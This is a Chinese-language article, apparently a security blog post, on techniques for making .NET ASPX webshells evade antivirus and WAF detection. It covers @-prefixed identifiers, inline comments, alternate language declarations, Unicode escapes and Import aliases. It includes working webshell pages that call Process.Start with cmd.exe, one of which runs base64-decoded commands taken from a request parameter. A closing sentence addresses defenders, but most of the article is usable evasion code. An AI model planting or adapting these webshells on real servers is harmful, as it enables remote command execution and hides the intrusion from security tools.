.NET WebShell 免杀系列之特殊技巧
字数 897 2025-08-06 20:12:38

.NET WebShell 免杀系列之特殊技巧详解

0X01 背景

本文是.NET WebShell绕过和免杀方法系列的第二季,重点介绍几种特殊的免杀和绕过技巧,包括符号利用、语言特性和别名使用等方法。

0X02 符号利用技巧

2.1 逐字标识符@符号

@符号在.NET字符串中有特殊意义:

  • 放在字符串前表示逐字字符串,无需转义符
  • 无法在字符串中插入有效换行符(\n)或制表符(\t)
  • 可以转义.NET平台保留的关键词(Class、NameSpace、int等)

应用示例:

// 常规路径表示
string filepath = "C:\\Program Files\\wmplayer.exe";

// 使用@符号表示
string filepath = @"C:\Program Files\wmplayer.exe";

// 关键词转义示例
namespace @namespace {
    class @class {
        public static void @static(int @int) {
            if(@int > 0) {
                System.Console.WriteLine("Positive Integer");
            }
        }
    }
}

免杀利用:
在Process类完整命名空间的每个点之间添加@符:

<script runat="server" language="c#">
public void Page_load(){
    @System.@Diagnostics.@Process.@Start("cmd.exe", "/c mstsc");
}
</script>

2.2 内联注释符

.NET支持使用/**/内联注释符,可以注释掉两个*号之间的内容。

免杀利用:
在类完全限定名的每个点之间添加内联注释:

<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true" %>
<script runat="server">
public void Page_load() {
    System/**/.Diagnostics./**/Process/**/.Start("cmd.exe", "/c calc");
}
</script>

0X03 语言特性利用

3.1 指定托管语言为C

常规ASPX页面声明:

<%@ Page Title="About" Language="C#" AutoEventWireup="true" CodeBehind="About.aspx.cs" Inherits="WebApplication1.About" %>

3.2 指定托管语言为csharp

使用language="csharp"声明:

<script runat="server" language="csharp">
public void Page_load() {
    if(!string.IsNullOrEmpty(Request["content"])) {
        var content = Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(Request["content"]));
        System.Diagnostics.Pro\U0000FFFAcess.Star\uFFFAt("cmd.exe", "/c " + content);
    }
}
</script>

3.3 指定托管语言为cs

.NET编译器支持language="cs"的简略写法,可绕过部分WAF检测:

<%@ Page Language="cs" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true" %>

<script runat="server" language="cs">
public void Page_load(){
    System.Diagnostics.Process.Start("cmd.exe", "/c calc");
}
</script>

原理分析:

  • .Net编译器通过Microsoft.CSharp.CSharpCodeProvider类实现C#代码编译
  • System.CodeDom.Compiler.CodeDomProvider类的GetCompilerInfoForLanguageNoThrow方法从配置文件中获取语言类型编译选项
  • 微软官方预设定义了三种语言类型:"C#;cs;csharp"

0X04 using别名技巧

4.1 常规using用法

using System;
using System.Data;

4.2 资源管理用法

using (SqlDataAdapter sqa = new SqlDataAdapter(sql, sc)) {
    sqa.SelectCommand.CommandTimeout = executeTimeOut;
    sqa.Fill(dtRet);
    return dtRet;
}

4.3 别名免杀利用

在ASPX页面中,using变为Import关键词:

<%@ Import Namespace="dotNet=@System.@Diagnostics.@Process" %>
<script runat="server" language="c#">
public void Page_load(){
    dotNet.Start("cmd.exe","/c calc");
}
</script>

0X05 总结

本文详细介绍了.NET WebShell的多种免杀技巧:

  1. 符号利用:@符号和内联注释符的特殊用法
  2. 语言特性:不同语言声明方式的差异利用
  3. 别名技巧:using别名的创造性应用

这些技巧可以组合使用,创造出更多变种来绕过安全检测。防御方需要深入了解这些特性,才能有效防御此类攻击。

.NET WebShell 免杀系列之特殊技巧详解 0X01 背景 本文是.NET WebShell绕过和免杀方法系列的第二季,重点介绍几种特殊的免杀和绕过技巧,包括符号利用、语言特性和别名使用等方法。 0X02 符号利用技巧 2.1 逐字标识符@符号 @符号在.NET字符串中有特殊意义: 放在字符串前表示逐字字符串,无需转义符 无法在字符串中插入有效换行符(\n)或制表符(\t) 可以转义.NET平台保留的关键词(Class、NameSpace、int等) 应用示例: 免杀利用: 在Process类完整命名空间的每个点之间添加@符: 2.2 内联注释符 .NET支持使用 /**/ 内联注释符,可以注释掉两个* 号之间的内容。 免杀利用: 在类完全限定名的每个点之间添加内联注释: 0X03 语言特性利用 3.1 指定托管语言为C 常规ASPX页面声明: 3.2 指定托管语言为csharp 使用 language="csharp" 声明: 3.3 指定托管语言为cs .NET编译器支持 language="cs" 的简略写法,可绕过部分WAF检测: 原理分析: .Net编译器通过 Microsoft.CSharp.CSharpCodeProvider 类实现C#代码编译 System.CodeDom.Compiler.CodeDomProvider 类的 GetCompilerInfoForLanguageNoThrow 方法从配置文件中获取语言类型编译选项 微软官方预设定义了三种语言类型:"C#;cs;csharp" 0X04 using别名技巧 4.1 常规using用法 4.2 资源管理用法 4.3 别名免杀利用 在ASPX页面中,using变为Import关键词: 0X05 总结 本文详细介绍了.NET WebShell的多种免杀技巧: 符号利用:@符号和内联注释符的特殊用法 语言特性:不同语言声明方式的差异利用 别名技巧:using别名的创造性应用 这些技巧可以组合使用,创造出更多变种来绕过安全检测。防御方需要深入了解这些特性,才能有效防御此类攻击。